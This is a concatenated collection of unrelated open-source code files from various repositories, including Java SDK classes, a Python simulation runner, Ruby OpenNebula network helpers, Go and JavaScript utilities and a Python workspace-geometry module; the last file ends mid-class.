protected String getLogPrefix() {
return ""; //$NON-NLS-1$
}
}
|
stratumn/sdk-java | src/main/java/com/stratumn/sdk/model/trace/ParentLink.java | /*
Copyright 2017 Stratumn SAS. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package com.stratumn.sdk.model.trace;
import com.stratumn.sdk.TraceLink;
/***
* Class to hold the traceId or prevLink used to identify the previous link.
* @param <TLinkData>
*/
public class ParentLink<TLinkData>
{
private String traceId;
private TraceLink<TLinkData> prevLink;
public ParentLink(String traceId )
{
if (traceId == null ) {
throw new IllegalArgumentException("TraceId and PrevLink cannot be both null");
}
this.traceId = traceId;
}
public ParentLink( TraceLink<TLinkData> prevLink)
{
if ( prevLink == null) {
throw new IllegalArgumentException("TraceId and PrevLink cannot be both null");
}
this.prevLink = prevLink;
}
public String getTraceId()
{
return this.traceId;
}
public void setTraceId(String traceId)
{
this.traceId = traceId;
}
public TraceLink<TLinkData> getPrevLink()
{
return this.prevLink;
}
public void setPrevLink(TraceLink<TLinkData> prevLink)
{
this.prevLink = prevLink;
}
}
|
TeamSPoon/CYC_JRTL_with_CommonLisp_OLD | platform/lib/all-deps/com/google/gwt/core/translatable/com/google/gwt/core/client/impl/WeakMapping.java | <gh_stars>1-10
/*
* Copyright 2009 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.gwt.core.client.impl;
import com.google.gwt.core.client.GwtScriptOnly;
/**
* A class associating a (String, Object) map with arbitrary source objects
* (except for Strings). This implementation is used in web mode.
*/
@GwtScriptOnly
public class WeakMapping {
/*
* This implementation is used in web mode only. It stores the (key, value)
* maps in an expando field on their source objects.
*/
/**
* Returns the Object associated with the given key in the (key, value)
* mapping associated with the given Object instance.
*
* @param instance the source Object.
* @param key a String key.
* @return an Object associated with that key on the given instance, or null.
*/
public static native Object get(Object instance, String key) /*-{
if (instance.@java.lang.Object::expando) {
return instance.@java.lang.Object::expando[':' + key];
}
return null;
}-*/;
/**
* Associates a value with a given key in the (key, value) mapping associated
* with the given Object instance. Note that the key space is module-wide, so
* some care should be taken to choose sufficiently unique identifiers.
*
* @param instance the source Object.
* @param key a String key.
* @param value the Object to associate with the key on the given source
* Object.
*/
public static void set(Object instance, String key, Object value) {
assert !(instance instanceof String) : "Cannot use Strings with WeakMapping";
setNative(instance, key, value);
}
public static void setWeak(Object instance, String key, Object value) {
set(instance, key, value);
}
private static native void setNative(Object instance, String key, Object value) /*-{
if (!instance.@java.lang.Object::expando) {
instance.@java.lang.Object::expando = {};
}
instance.@java.lang.Object::expando[':' + key] = value;
}-*/;
}
|
p-derezinski/java14 | src/main/java/pl/sdacademy/java14poz/sklep/UserUtils.java | package pl.sdacademy.java14poz.sklep;
import pl.sdacademy.java14poz.sklep.User.*;
public class UserUtils {
public static String poberzStatus(User uzytkownik) {
User.TypStatus statusUzytkownika = uzytkownik.getStatus();
StringBuilder sb = new StringBuilder();
sb.append(uzytkownik.getImie()).append(" ").append(uzytkownik.getNazwisko());
sb.append(" jest ");
switch (statusUzytkownika) {
case AKTYWNY:
sb.append("aktywny");
break;
case NIEAKTYWNY:
sb.append("nieaktywny");
break;
case ZALOGOWANY:
sb.append("zalogowany");
break;
}
return sb.toString();
}
public static String pobierzPlec(User uzytkownik) {
TypPlec plecUzytkownika = uzytkownik.getPlec(); // byl import Usera, wiec nie trzeba pisac "User.TypPlec"
return "";
}
}
|
WebFreak001/THM2018 | src/com/deviotion/ld/eggine/math/Dimension2i.java | <filename>src/com/deviotion/ld/eggine/math/Dimension2i.java
package com.deviotion.ld.eggine.math;
/**
* Eggine
* A last minute game engine for Ludum Dare.
*
* @author <NAME> (TechnoCF)
*
*/
public class Dimension2i {
private int width;
private int height;
public Dimension2i(int width, int height) {
this.width = width;
this.height = height;
}
public int getWidth () {
return this.width;
}
public int getHeight () {
return this.height;
}
public void setWidth (int width) {
this.width = width;
}
public void setHeight (int height) {
this.height = height;
}
public Dimension2i copy() {
return new Dimension2i(width, height);
}
} |
hwclass/courier-boilerplate | client/src/apps/header/app.js | <reponame>hwclass/courier-boilerplate<filename>client/src/apps/header/app.js
'use strict';
//creating the object wrapper for header application
App.header = App.header || Box.Application;
|
SuperMap/iClient-for-JavaScript | tests/Plotting/REST/GetSMLInfosServiceTest.js | <gh_stars>10-100
module("GetSMLInfosService");
function initGetSMLInfosService() {
return new SuperMap.REST.GetSMLInfosService(GlobeParameter.plotUrl, {
eventListeners: {
processCompleted: succeed,
processFailed: failed
}
});
function succeed(event) {
}
function failed(event) {
}
}
asyncTest("GetSMLInfosService_success", function () {
var getSMLInfosService = initGetSMLInfosService();
var getSMLInfosParameters = new SuperMap.REST.GetSMLInfosParameters({start:1, count:1});
getSMLInfosService.processAsync(getSMLInfosParameters);
setTimeout(function () {
try {
var lastResult = getSMLInfosService.lastResult;
ok(lastResult.length !== 0, "getSMLInfosService.lastResult");
getSMLInfosService.destroy();
ok(getSMLInfosService.events == null, "service.events");
ok(getSMLInfosService.lastResult == null, "service.lastResult");
ok(getSMLInfosService.eventListeners == null, "service.eventListeners");
start();
} catch (excepion) {
ok(false, "exception occcurs,message is:" + excepion.message)
start();
}
},6000);
}); |
petergp/XVim2 | XVim2/XcodeHeader/DVTFoundation/NSBlockOperation-DVTNSOperationAdditions.h | <gh_stars>0
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 6 2019 20:12:56).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by <NAME>.
//
#import <Foundation/NSBlockOperation.h>
@interface NSBlockOperation (DVTNSOperationAdditions)
+ (id)dvt_blockOperationWithBlock:(CDUnknownBlockType)arg1;
+ (id)__DVTMainThreadLatencyChecker__blockOperationWithBlock:(CDUnknownBlockType)arg1;
- (void)dvt_addExecutionBlock:(CDUnknownBlockType)arg1;
- (void)__DVTMainThreadLatencyChecker__addExecutionBlock:(CDUnknownBlockType)arg1;
@end
|
huppd/PINTimpact | run/run_mode_stream.py | """ runner script to investigate mode preconditioner for Rayleigh streaming """
import os
from math import pi
import xml.etree.ElementTree as ET
import platform_paths as pp
import manipulator as ma
# load parameter file
TREE = ET.parse('../XML/parameterStreaming2D.xml')
ROOT = TREE.getroot()
# ma.set_parameter(ROOT, 'withoutput', 0)
# make executable ready
EXE = 'modeConvDiff'
os.chdir(pp.EXE_PATH)
os.system('make ' + EXE + ' -j4')
st = 0.001
#
NPX = 2
NPY = 2
NPZ = 1
NPF = 1
#
#
#
ma.set_parameter(ROOT, 'Re', 100.)
ma.set_parameter(ROOT, 'alpha2', 2.*pi*0.01*100.)
ma.set_parameter(ROOT, 'lx', 2.)
ma.set_parameter(ROOT, 'ly', 2.)
ma.set_parameter(ROOT, 'npx', 2)
ma.set_parameter(ROOT, 'npy', 2)
ma.set_parameter(ROOT, 'nf', 1)
NXS = [33, 65, 129]
PRECS = [1, 2, 3, 4]
# PRECS = [2, 3, 4]
# PRECS = [3, 4]
# PRECS = [4]
# CYCLES = [1, 2, 4, 8, 16]
# CYCLES = [2, 3, 4, 6, 8]
CYCLES = [1, 2, 4]
# SWEEPS = [1, 2, 4, 8, 16]
SWEEPS = [1, 2, 4]
MAXGRIDS = [1, 3, 5]
# MAXGRIDS = [1, 2, 3]
CASE_PATH = ['']*6
# for side in ['left', 'right']:
for side in ['right']:
CASE_PATH[0] = pp.DATA_PATH + '/stream_mode_prec_' + side
pp.mkdir(CASE_PATH, 0)
for nx in NXS:
CASE_PATH[1] = '/nx_'+str(nx)
pp.mkdir(CASE_PATH, 1)
pp.chdir(CASE_PATH, 1)
for prec in PRECS:
CASE_PATH[2] = '/prec_'+str(prec)
pp.mkdir(CASE_PATH, 2)
pp.chdir(CASE_PATH, 2)
for cycle in CYCLES:
CASE_PATH[3] = '/cycle_'+str(cycle)
pp.mkdir(CASE_PATH, 3)
pp.chdir(CASE_PATH, 3)
for sweep in SWEEPS:
CASE_PATH[4] = '/sweep_'+str(sweep)
pp.mkdir(CASE_PATH, 4)
pp.chdir(CASE_PATH, 4)
for max_grids in MAXGRIDS:
CASE_PATH[5] = '/maxGrids_'+str(max_grids)
pp.mkdir(CASE_PATH, 5)
pp.chdir(CASE_PATH, 5)
#
ma.set_parameter(ROOT, 'nx', nx)
ma.set_parameter(ROOT, 'ny', nx)
ma.set_parameter(ROOT, 'maxGrids', max_grids)
ma.set_parameter(ROOT, 'type', prec)
ma.set_parameter(ROOT, 'preconditioner', side)
ma.set_parameter(ROOT, 'numCycles', cycle)
ma.set_parameter(ROOT, 'numIters', sweep)
TREE.write('parameter3D.xml')
nptot = NPX*NPY*NPZ*NPF
print()
print(CASE_PATH)
exe_str = \
pp.exe_pre(nptot,
' -N -W 1:00 -R "rusage[mem=' +
str(max(1024*4, 1024)) + ']" ') + \
pp.EXE_PATH+'/'+EXE+' --realCase=1 '
print(exe_str)
os.system(exe_str)
|
ShadyStego/semiotic | src/docs/components/LineBrushRaw.js | import * as React from "react"
import { XYFrame } from "../../components"
import { scaleTime } from "d3-scale"
const chartScale = scaleTime()
const lineStyle = {
fill: "none",
stroke: "#007190",
strokeWidth: 1
}
const margin = { left: 40, top: 0, bottom: 50, right: 20 }
const axes = [
{ orient: "left" },
{
orient: "bottom",
ticks: 6,
tickFormat: (d) => d.getFullYear()
}
]
export default (data, startEvent, duringEvent, endEvent, extent) => {
const lineBrushChart = {
size: [700, 200],
lines: [{ label: "Apple Stock", coordinates: data }],
xAccessor: "date",
yAccessor: "close",
xScaleType: chartScale,
lineStyle: lineStyle,
axes,
margin,
interaction: {
start: startEvent,
during: duringEvent,
end: endEvent,
brush: "xBrush",
extent: extent
}
}
return (
<div>
<XYFrame {...lineBrushChart} />
<XYFrame
{...lineBrushChart}
size={[700, 100]}
lines={[
{
label: "somebrush",
coordinates: [
{ date: new Date("1/1/1997"), close: 0 },
{ date: new Date("12/31/2003"), close: 0 }
]
}
]}
/>
</div>
)
}
|
qianfei11/zstack | plugin/virtualRouterProvider/src/main/java/org/zstack/network/service/virtualrouter/vyos/VyosVersionCheckResult.java | package org.zstack.network.service.virtualrouter.vyos;
public class VyosVersionCheckResult {
public boolean needReconnect = false;
public boolean rebuildVip = false;
public boolean isNeedReconnect() {
return needReconnect;
}
public void setNeedReconnect(boolean needReconnect) {
this.needReconnect = needReconnect;
}
public boolean isRebuildVip() {
return rebuildVip;
}
public void setRebuildVip(boolean rebuildVip) {
this.rebuildVip = rebuildVip;
}
}
|
Vadimkkka/ione | lib/vntools/main.rb | <reponame>Vadimkkka/ione
class IONe
#
# Reserves Public IP or IPs to user private netpool
#
# @param [Hash] params
# @option params [Integer] n - number of addresses to reserve
# @option params [Integer] u - user id
#
# @return [Integer]
#
def reserve_public_ip params
params.to_sym!
vnet = onblock(:vn, IONe::Settings['PUBLIC_NETWORK_DEFAULTS']['IAAS'], @client)
vnet.info!
u = onblock(:u, params[:u], @client)
u.info!
if (uvnet = u.vns(@db).select { |v| v.type == 'PUBLIC' }.first) then
uvnet = uvnet.id
end
params[:n].times do
if uvnet then
uvnet = vnet.reserve(nil, 1, nil, nil, uvnet)
else
uvnet = vnet.reserve("user-#{params[:u]}-pub-vnet", 1, nil, nil, uvnet)
onblock(:vn, uvnet, @client) do | vn |
vn.update('TYPE="PUBLIC"', true)
end
clusters = vnet.to_hash['VNET']['CLUSTERS']['ID']
clusters = [clusters] if clusters.class != Array
for c in clusters do
onblock(:c, c).addvnet(uvnet)
end
end
if OpenNebula.is_error?(uvnet) && uvnet.errno == 2048 then
return { error: "No free addresses left" }
end
ar = onblock(:vn, uvnet, @client).ar_pool.last
AR.create do | r |
r.vnid = uvnet
r.arid = ar['AR_ID']
r.stime = Time.now.to_i
r.owner = params[:u]
end
end
vn = onblock(:vn, uvnet, $client)
vn.chown(u.id, u.groups.first)
vn.chmod(1, 1, 1, 0, 0, 0, 0, 0, 0)
return vn.id
end
#
# Releases Public IP back to supernet-pool. Repeats OpenNebula::VirtualNetwork#rm_ar method, but with creating Record in :records storage
#
# @param [Hash] params
# @option params [Integer] vn - Virtual Network ID
# @option params [Integer] ar - Address Range ID
#
# @return [TrueClass]
#
def release_public_ip params
params.to_sym!
vn = onblock(:vn, params[:vn], @client)
vn.info!
if vn.rm_ar(params[:ar]).nil? then
AR.where(vnid: params[:vn], arid: params[:ar], owner: vn['//UID']).update(etime: Time.now.to_i)
true
else
false
end
end
# Returns all @client User vnets
# @return [Array<Hash>]
def get_user_vnets
onblock(:u, -1, @client) do | u |
u.info!
u.vns(@db).map { |vn| vn.to_hash }
end
end
end
|
roboterclubaachen/xpcc | src/xpcc/architecture/interface/test/can_message_test.hpp | <filename>src/xpcc/architecture/interface/test/can_message_test.hpp
// coding: utf-8
/* Copyright (c) 2016, <NAME>. V.
* All Rights Reserved.
*
* The file is part of the xpcc library and is released under the 3-clause BSD
* license. See the file `LICENSE` for the full license governing this code.
*/
// ----------------------------------------------------------------------------
#ifndef XPCC_UNITTEST_CAN_MESSAGE_HPP
#define XPCC_UNITTEST_CAN_MESSAGE_HPP
#include <unittest/testsuite.hpp>
#include <xpcc/architecture/interface/can_message.hpp>
// @author strogly-typed
class CanMessageTest : public unittest::TestSuite
{
public:
void
testEqualOperator();
};
#endif // XPCC_UNITTEST_CAN_MESSAGE_HPP
|
heroku/shh | cmd/shh-value/main.go | <gh_stars>10-100
package main
import (
"flag"
"fmt"
"net"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/heroku/shh"
)
var (
versionFlag = flag.Bool("version", false, "Display version info and exit")
measurementType = flag.String("t", "g", "Measurement type gauge(g) or counter(c)")
shhAddr = flag.String("a", shh.DEFAULT_LISTEN_ADDR, "Address of a listening shh (protocol,addr)")
unitFlag = flag.String("u", "", "Unit of measurement and an optional abbreviation (ex. Bytes,b)")
unitRegexp = regexp.MustCompile("[a-zA-Z$%#]+(,[a-zA-Z$%#]+)?")
)
func getConnection(addr string) (net.Conn, error) {
bits := strings.Split(addr, ",")
if len(bits) == 1 {
return net.Dial("tcp", bits[0])
}
return net.Dial(bits[0], bits[1])
}
func die(msg string) {
if msg != "" {
fmt.Fprintf(os.Stderr, msg)
}
flag.Usage()
os.Exit(1)
}
func assertValidMetricName(mn string) string {
if !shh.MetricNameRegexp.MatchString(mn) {
die("ERROR: invalid metric name\n")
}
return mn
}
func assertValidUnit(unit string) string {
if unit != "" && !unitRegexp.MatchString(unit) {
die("ERROR: invalid unit\n")
}
return unit
}
func assertValidType(t string) string {
if t == "gauge" || t == "g" {
return "g"
}
if t == "counter" || t == "c" {
return "c"
}
die("ERROR: invalid measurement type\n")
return ""
}
func assertValidValue(v string) interface{} {
vint, err := strconv.ParseUint(v, 10, 64)
if err != nil {
vflo, err := strconv.ParseFloat(v, 64)
if err != nil {
die("ERROR: invalid value\n")
}
return vflo
}
return vint
}
func formatLine(metric string, value interface{}, mtype string, unit string) string {
ts := time.Now().Format(time.RFC3339)
if unit == "" {
return fmt.Sprintf("%s %s %v %s\n", ts, metric, value, mtype)
}
return fmt.Sprintf("%s %s %v %s %s\n", ts, metric, value, mtype, unit)
}
func main() {
flag.Usage = func() {
fmt.Fprintf(os.Stderr, "usage: %s [options] <metric-name> <value>\n", os.Args[0])
flag.PrintDefaults()
}
flag.Parse()
if *versionFlag {
fmt.Println(shh.Version())
os.Exit(0)
}
if flag.NArg() != 2 {
die("")
}
metric := assertValidMetricName(flag.Arg(0))
unit := assertValidUnit(*unitFlag)
mmType := assertValidType(*measurementType)
value := assertValidValue(flag.Arg(1))
if !shh.MetricNameRegexp.MatchString(flag.Arg(0)) {
die("ERROR: invalid metric name\n")
}
conn, err := getConnection(shh.GetEnvWithDefault("SHH_ADDRESS", *shhAddr))
if err != nil {
die(fmt.Sprintf("ERROR: couldn't get connection to %s: %s\n", *shhAddr, err))
}
conn.SetDeadline(time.Now().Add(time.Second * 5))
line := formatLine(metric, value, mmType, unit)
fmt.Printf(line)
fmt.Fprintf(conn, line)
conn.Close()
}
|
bonedaddy/go-i2p | lib/crypto/hmac_test.go | <reponame>bonedaddy/go-i2p<filename>lib/crypto/hmac_test.go
package crypto
import (
"bytes"
"encoding/base64"
"testing"
)
// XXX: IMPLEMENT THIS
func Test_I2PHMAC(t *testing.T) {
data := make([]byte, 64)
for idx, _ := range data {
data[idx] = 1
}
var k HMACKey
for idx, _ := range k[:] {
k[idx] = 1
}
d := I2PHMAC(data, k)
expected_str := "WypV9tIaH1Kn9i7/9OqP6Q=="
expected, _ := base64.StdEncoding.DecodeString(expected_str)
if !bytes.Equal(d[:], expected) {
t.Logf("%d vs %d", len(d), len(expected))
t.Logf("%q != %q", d, expected)
t.Fail()
}
}
|
TForce1/pcg_gazebo | pcg_gazebo/generators/constraints/workspace_constraint.py | <gh_stars>10-100
# Copyright (c) 2019 - The Procedural Generation for Gazebo authors
# For information on the respective copyright owner see the NOTICE file
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import numpy as np
import trimesh
from copy import deepcopy
from .constraint import Constraint
from ... import random
from .. import shapes
from ...utils import is_string, get_random_point_from_shape, \
is_array
from ...transformations import quaternion_matrix
from ...simulation.properties import Pose
from ...simulation import Entity, SimulationModel
import collections
from shapely.geometry import Polygon, LineString, Point, \
MultiPoint, MultiPolygon, MultiLineString
from shapely.affinity import affine_transform
class WorkspaceConstraint(Constraint):
"""Class that represents the spatial workspace where models are allowed in.
The `geometry` input is a `dict` containing all the arguments necessary to
generate the workspace geometry. For now, only 2D workspaces are supported.
The `holes` input is a list of `dict` with the same geometry description of
the input `geometry` and describe exclusion areas inside the workspace.
The supported geometry inputs to represent a workspace are
* `area`
```python
geometry = dict(
type='area'
description=dict(
points=[
[0, 0, 0],
[0, 1, 1],
...
] # List of 3D points that describe the
vertices of the plane area
)
)
```
* `line`
```python
geometry=dict(
type='line',
description=dict(
points=[
[0, 0, 0],
[0, 1, 1],
...
] # List of 3D points that describe the line
)
)
```
* `circle`
```python
geometry=dict(
type='circle'
description=dict(
radius=0.0, # Radius of the circle
center=[0, 0, 0] # Center of the circle as a 3D point
)
)
```
**Others are still not implemented**
> *Attributes*
* `LABEL` (*type:* `str`, *value:* `workspace`): Name of
the constraint class
* `GEOMETRIES` (*type:* `list`): List of input geometries
that can be used to set a workspace
> *Input arguments*
* `geometry` (*type:* `dict`, *default:* `None`): Input
arguments of the geometry to be generated
* `frame` (*type:* `str`, *default:* `'world'`): Name of
the frame of reference of the workspace (**not implemented**)
* `holes` (*type:* `dict`, *default:* `None`): Geometries
that represent exclusion areas inside the workspace
"""
_LABEL = 'workspace'
def __init__(self, geometry_type=None, frame='world', holes=None,
pose=None, **kwargs):
Constraint.__init__(self)
assert is_string(frame), \
'Input frame name must be a string'
self._geometry_type = geometry_type
self._holes = list()
self._geometry = None
self._geometry = self.generate_geometry(
self._geometry_type, **kwargs)
if holes is not None:
for hole in holes:
self._holes.append(self.generate_geometry(**hole))
self._frame = frame
self._pose = Pose()
if pose is not None:
self.pose = pose
def __eq__(self, other):
if not isinstance(other, WorkspaceConstraint):
return False
if other._LABEL != self._LABEL:
return False
if self._geometry_type != other._geometry_type:
return False
if self._geometry != other._geometry:
return False
if len(self._holes) != len(other._holes):
return False
for hole in self._holes:
if hole not in other._holes:
return False
return True
def __str__(self):
"""Return formatted string."""
msg = 'Workspace constraint\n'
msg += '\t - Type of geometry: {}\n'.format(self._geometry_type)
return msg
@property
def pose(self):
return self._pose
@pose.setter
def pose(self, vec):
if isinstance(vec, Pose):
self._pose = vec
else:
assert is_array(vec), \
'Input pose vector must be iterable'
assert len(vec) == 6 or len(vec) == 7, \
'Pose must be given as position and Euler angles (x, y, z, ' \
'roll, pitch, yaw) or position and quaternions (x, y, z, ' \
'qx, qy, qz, qw)'
for item in vec:
assert isinstance(item, float) or isinstance(item, int), \
'All elements in pose vector must be a float or an integer'
self._pose = Pose(pos=vec[0:3], rot=vec[3::])
def generate_geometry(self, type, **kwargs):
"""Generate a `shapely` entity according to the geometry description
provided. The input `type` containts the name of the geometry to
be generated and the necessary arguments must be provided in the `dict`
input `description`.
Possible geometries according to the different input
values in `type` are:
* `area`
```python
description=dict(
points=[
[0, 0, 0],
[0, 1, 1],
...
] # List of 3D points that describe the
vertices of the plane area
)
```
* `line`
```python
description=dict(
points=[
[0, 0, 0],
[0, 1, 1],
...
] # List of 3D points that describe the line
)
```
* `circle`
```python
description=dict(
center=[-6.8, -6.8, 0] # Center of the circle
radius=0.2 # Radius of the circle
)
```
**Others are still not implemented**
> *Input arguments*
* `type` (*type:* `str`): Geometry type. Options
are: `line`, `area`, `volume`, `multi_line`, `multi_point`, `circle`
* `description` (*type:* `dict`): Arguments to describe the geometry
"""
if type == 'area' and 'points' in kwargs:
return MultiPoint(
[(x[0], x[1]) for x in kwargs['points']]).convex_hull
elif type == 'line' and 'points' in kwargs:
line = LineString([(x[0], x[1]) for x in kwargs['points']])
if 'buffer' in kwargs:
assert kwargs['buffer'] > 0, \
'Buffer around line must be greater than 0'
return line.buffer(kwargs['buffer'])
else:
return line
elif type == 'multipoint' and 'points' in kwargs:
points = MultiPoint(
[(x[0], x[1]) for x in kwargs['points']])
if 'buffer' in kwargs:
assert kwargs['buffer'] > 0, \
'Buffer around line must be greater than 0'
return points.buffer(kwargs['buffer'])
else:
return points
elif type == 'multiline' and 'lines' in kwargs:
lines = MultiLineString(kwargs['lines'])
if 'buffer' in kwargs:
assert kwargs['buffer'] > 0, \
'Buffer around line must be greater than 0'
return lines.buffer(kwargs['buffer'])
else:
return lines
elif type == 'circle' and \
'center' in kwargs and 'radius' in kwargs:
return shapes.circle(**kwargs)
elif type == 'polygon' and 'polygon' in kwargs:
assert isinstance(kwargs['polygon'], (Polygon, MultiPolygon))
assert not kwargs['polygon'].is_empty, 'Polygon is empty'
assert kwargs['polygon'].area > 0, 'Polygon area is zero'
return kwargs['polygon']
elif type == 'box':
assert 'size' in kwargs
return trimesh.creation.box(extents=kwargs['size'])
elif type == 'sphere':
assert 'radius' in kwargs
assert kwargs['radius'] > 0
return trimesh.creation.icosphere(
radius=kwargs['radius'])
elif type == 'cylinder':
assert 'radius' in kwargs
assert kwargs['radius'] > 0
assert 'length' in kwargs
assert kwargs['length'] > 0
return trimesh.creation.cylinder(
radius=kwargs['radius'],
height=kwargs['length'])
elif type == 'mesh':
if 'mesh' in kwargs:
if isinstance(kwargs['mesh'], trimesh.base.Trimesh):
return kwargs['mesh']
elif isinstance(kwargs['mesh'], trimesh.scene.Scene):
return kwargs['mesh'].convex_hull
else:
raise ValueError('Invalid input mesh')
elif 'model' in kwargs:
if 'mesh_type' in kwargs:
assert kwargs['mesh_type'] in ['collision', 'visual']
mesh_type = kwargs['mesh_type']
else:
mesh_type = 'collision'
if isinstance(kwargs['model'], SimulationModel):
return kwargs['model'].create_scene(
mesh_type=mesh_type).convex_hull
else:
raise ValueError('Invalid input simulation model')
elif 'entity' in kwargs:
if 'mesh_type' in kwargs:
assert kwargs['mesh_type'] in ['collision', 'visual']
mesh_type = kwargs['mesh_type']
else:
mesh_type = 'collision'
if isinstance(kwargs['entity'], Entity) and \
not isinstance(kwargs['entity'], SimulationModel):
return kwargs['entity'].create_scene(
mesh_type=mesh_type,
ignore_models=['ground_plane']).convex_hull
elif 'points' in kwargs:
points = np.array(kwargs['points'])
assert points.shape[1] == 3
assert points.shape[0] > 3
points = trimesh.points.PointCloud(points)
return points.convex_hull
else:
raise NotImplementedError(
'Invalid geometry type, provided={}'.format(type))
def _apply_transform(self, geometry):
mat = quaternion_matrix(self._pose.quat)
if isinstance(geometry, trimesh.base.Trimesh):
geo = geometry.copy()
geo.apply_transform(mat)
geo.apply_translation(self._pose.position)
return geo
else:
transform = np.zeros(12)
transform[0:3] = mat[0, 0:3].flatten()
transform[3:6] = mat[1, 0:3].flatten()
transform[6:9] = mat[2, 0:3].flatten()
transform[9:12] = self._pose.position
return affine_transform(geometry, transform)
def _compute_random_point_on_geometry(self, geometry):
if isinstance(geometry, (Polygon, MultiPolygon)):
return Point(
get_random_point_from_shape(self.get_geometry()))
elif isinstance(geometry, LineString):
idx = random.randint(1, len(geometry.coords))
start_point = np.array(geometry.coords[idx - 1])
vec = np.array(geometry.coords[idx]) - \
np.array(geometry.coords[idx - 1])
random_point = start_point + random.rand() * vec
return Point(random_point)
else:
raise NotImplementedError('Invalid geometry type={}'.format(
type(geometry)))
def _compute_random_point_in_mesh(self, mesh):
min_x = mesh.bounds[0, 0]
max_x = mesh.bounds[1, 0]
min_y = mesh.bounds[0, 1]
max_y = mesh.bounds[1, 1]
min_z = mesh.bounds[0, 2]
max_z = mesh.bounds[1, 2]
pnt = [
random.uniform(min_x, max_x),
random.uniform(min_y, max_y),
random.uniform(min_z, max_z)
]
while not mesh.contains([pnt]):
pnt = [
random.uniform(min_x, max_x),
random.uniform(min_y, max_y),
random.uniform(min_z, max_z)
]
return Point(pnt)
def get_bounds(self):
"""Return the polygon bounds"""
return self._geometry.bounds
def get_random_position(self):
"""Return a random position that belongs to the workspace"""
geometry = self.get_geometry()
if isinstance(geometry, (Polygon, LineString)):
return self._compute_random_point_on_geometry(geometry)
elif isinstance(geometry, (MultiLineString, MultiPolygon)):
idx = random.randint(0, len(geometry.geoms))
return self._compute_random_point_on_geometry(
geometry.geoms[idx])
elif isinstance(geometry, MultiPoint):
idx = random.randint(0, len(geometry.geoms))
return geometry.geoms[idx]
else:
return self._compute_random_point_in_mesh(geometry)
def contains_point(self, point):
"""Return True if `point` is part of the workspace.
> *Input arguments*
* `point` (*type:* `list` or `numpy.ndarray`): 2D point
"""
assert isinstance(point, collections.Iterable), \
'Invalid list of points'
point = list(point)
geo = self.get_geometry()
# Only planar points are checked now
pnt = Point(point[0], point[1])
return geo.contains(pnt)
def contains_points(self, points):
assert isinstance(points, collections.Iterable), \
'Invalid list of points'
points = MultiPoint(points)
geo = self.get_geometry()
return geo.contains(points)
def contains_polygons(self, polygons):
"""Return True if polygons in the `polygons` list are part of the workspace.
> *Input arguments*
* `polygons` (*type:* list of `shapely.Polygon`): List of polygons
"""
assert isinstance(polygons, collections.Iterable), \
'Invalid list of polygons'
merged_poly = None
geo = self.get_geometry()
for poly in polygons:
if merged_poly is None:
merged_poly = geo.union(poly)
else:
merged_poly = merged_poly.union(poly)
return merged_poly.area == geo.area
def contains_mesh(self, mesh):
vertices = MultiPoint(mesh.vertices[:, 0:2].tolist())
geo = self.get_geometry()
if isinstance(geo, (Polygon, MultiPolygon)):
return geo.contains(vertices.convex_hull)
elif isinstance(geo, (LineString, MultiLineString)):
convex_hull = vertices.convex_hull
return convex_hull.intersects(geo) or convex_hull.contains(geo)
elif isinstance(geo, (MultiPoint)):
convex_hull = vertices.convex_hull
for point in geo.geoms:
if convex_hull.contains(point):
return True
return False
elif isinstance(geo, trimesh.base.Trimesh):
return geo.contains(mesh.vertices).all()
else:
raise NotImplementedError()
def add_hole(self, type, **kwargs):
self._holes.append(self.generate_geometry(type, **kwargs))
def get_geometry(self):
"""Return the workspace geometry"""
geometry = deepcopy(self._geometry)
for geo in self._holes:
geometry = geometry.difference(geo)
return self._apply_transform(geometry)
|
gfycat/gfycat-android-sdk | gfycat-core/src/main/java/com/gfycat/core/downloading/FeedData.java | <filename>gfycat-core/src/main/java/com/gfycat/core/downloading/FeedData.java
/*
* Copyright (c) 2015-present, Gfycat, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.gfycat.core.downloading;
import com.gfycat.common.utils.Logging;
import com.gfycat.core.FeedIdentifier;
import com.gfycat.core.gfycatapi.pojo.Gfycat;
import java.util.Collections;
import java.util.List;
/**
* Contains current {@link FeedDescription} and list of feed gfycats.
* <p>
* Received either from cache or from network.
*/
public class FeedData {
private final FeedDescription feedDescription;
private final List<Gfycat> gfycats;
/**
* Constructs {@link FeedData} with empty gfycat list.
*/
public FeedData(FeedDescription feedDescription) {
this(feedDescription, Collections.emptyList());
}
/**
* Constructs {@link FeedData} with provided {@link FeedDescription} and {@link List<Gfycat>}.
*/
public FeedData(FeedDescription feedDescription, List<Gfycat> gfycats) {
this.feedDescription = feedDescription;
this.gfycats = gfycats;
}
/**
* @return Returns true if feed is empty, false otherwise.
*/
public boolean isEmpty() {
return feedDescription == null || gfycats == null || gfycats.isEmpty();
}
/**
* @return Returns related {@link FeedIdentifier}.
*/
public FeedIdentifier getIdentifier() {
return feedDescription.getIdentifier();
}
/**
* @return Returns true is feed has ended and calling loadMore will not load any new items.
*/
